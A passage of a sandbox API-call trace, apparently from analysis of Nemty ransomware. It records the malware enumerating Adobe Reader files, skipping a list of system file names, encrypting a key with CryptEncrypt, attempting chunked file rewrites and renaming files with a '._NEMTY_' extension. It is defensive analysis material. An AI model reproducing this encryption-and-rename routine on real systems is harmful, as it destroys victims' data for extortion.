lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0197.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0197.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0197.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0197.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0197.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0197.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94130 [0197.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0197.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0197.829] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-cid"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-CID._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-cid._nemty_kgobjgd_")) returned 0 [0197.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0197.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0197.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0197.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0197.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0197.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0197.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0197.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0197.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0197.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.830] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x212a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-H-Host", cAlternateFileName="ADOBE-~4")) returned 1 [0197.830] lstrcmpiW (lpString1="Adobe-CNS1-H-Host", lpString2=".") returned 1 [0197.830] lstrcmpiW (lpString1="Adobe-CNS1-H-Host", lpString2="..") returned 1 [0197.830] lstrcmpiW (lpString1="Adobe-CNS1-H-Host", lpString2="...") returned 1 [0197.830] lstrcmpiW (lpString1="Adobe-CNS1-H-Host", lpString2="windows") returned -1 [0197.830] lstrcmpiW (lpString1="Adobe-CNS1-H-Host", lpString2="$RECYCLE.BIN") returned 1 [0197.830] lstrcmpiW (lpString1="Adobe-CNS1-H-Host", lpString2="rsa") returned -1 [0197.830] lstrcmpiW (lpString1="Adobe-CNS1-H-Host", lpString2="NTDETECT.COM") returned -1 [0197.830] lstrcmpiW (lpString1="Adobe-CNS1-H-Host", lpString2="ntldr") returned -1 [0197.830] lstrcmpiW (lpString1="Adobe-CNS1-H-Host", lpString2="MSDOS.SYS") returned -1 [0197.830] lstrcmpiW (lpString1="Adobe-CNS1-H-Host", lpString2="IO.SYS") returned -1 [0197.830] lstrcmpiW (lpString1="Adobe-CNS1-H-Host", lpString2="boot.ini") returned -1 [0197.830] lstrcmpiW (lpString1="Adobe-CNS1-H-Host", lpString2="boot.ini") returned -1 [0197.830] lstrcmpiW (lpString1="Adobe-CNS1-H-Host", lpString2="AUTOEXEC.BAT") returned -1 [0197.830] lstrcmpiW (lpString1="Adobe-CNS1-H-Host", lpString2="ntuser.dat") returned -1 [0197.830] lstrcmpiW (lpString1="Adobe-CNS1-H-Host", lpString2="desktop.ini") returned -1 [0197.830] lstrcmpiW (lpString1="Adobe-CNS1-H-Host", lpString2="CONFIG.SYS") returned -1 [0197.830] lstrcmpiW (lpString1="Adobe-CNS1-H-Host", lpString2="RECYCLER") returned -1 [0197.830] lstrcmpiW (lpString1="Adobe-CNS1-H-Host", lpString2="BOOTSECT.BAK") returned -1 [0197.830] lstrcmpiW (lpString1="Adobe-CNS1-H-Host", lpString2="bootmgr") returned -1 [0197.830] lstrcmpiW (lpString1="Adobe-CNS1-H-Host", lpString2="programdata") returned -1 [0197.830] lstrcmpiW (lpString1="Adobe-CNS1-H-Host", lpString2="appdata") returned -1 [0197.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0197.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-Host", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0197.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-Host", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-H-Host", lpUsedDefaultChar=0x0) returned 17 [0197.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0197.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-Host", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0197.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-Host", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-H-Host", lpUsedDefaultChar=0x0) returned 17 [0197.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0197.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0197.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0197.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0197.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-Host", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0197.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0197.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-Host", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-H-Host", lpUsedDefaultChar=0x0) returned 17 [0197.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0197.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0197.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-Host", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0197.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0197.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-H-Host", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-H-Host", lpUsedDefaultChar=0x0) returned 17 [0197.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0197.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0197.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0197.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0197.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0197.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0197.831] Sleep (dwMilliseconds=0x5) [0197.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x299383d0, dwHighDateTime=0x1d561e8)) [0197.856] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x299383d0, dwHighDateTime=0x1d561e8)) [0197.856] GetLastError () returned 0x5 [0197.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0197.856] GetLastError () returned 0x5 [0197.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0197.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0197.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0197.856] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0197.856] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0197.856] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0197.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0197.856] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="Jk/KOnbxy+DbA8WDaKbRlqt1Hp9HbeSfkOVL652wJLHOBbnNqGcDWsEyILw0xuRb\r\nUs/Jgv5jkgm8b8OHAn5yhpPSvUF5S1UHtCkrsYHg4ASKx0dr5Bfcn+guq1dcRw0v\r\nQvqe6umgVgfuyn+LsqFPoyjWAPcF3dEDZ6glOso5g2exUhVkNf3OBdWv9XNutCs2\r\n9o3PXu8zwJ8y5YCQmvkrvg62udr1fKYh14kCp1o/czb3H1SaDwn2ggQmSah7o4Ng\r\nZQvwC3rV6x/60xIvWYSdqhEoQnWzB/URx66Io5V2tmiPYTTj7LNjTNXRQS38EL3u\r\niXfd54x2oOF1s1hMEvnosw==\r\n", pcchString=0x653e91c) returned 1 [0197.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0197.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0197.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0197.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0197.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0197.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0197.856] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-host"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0197.857] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0197.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0197.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.857] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.866] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.866] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.876] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.876] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.885] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.885] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.894] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.894] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.894] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.894] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.904] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.904] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.914] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.914] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.923] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.924] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.933] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.933] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.943] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.943] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.952] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.952] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.958] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.958] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0197.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.964] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0197.964] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0197.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0197.965] CloseHandle (hObject=0xffffffff) returned 0 [0197.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0197.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0197.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0197.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0197.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0197.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0197.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0197.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0197.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0197.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0197.965] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-host"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Host._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-host._nemty_kgobjgd_")) returned 0 [0197.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0197.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0197.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0197.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 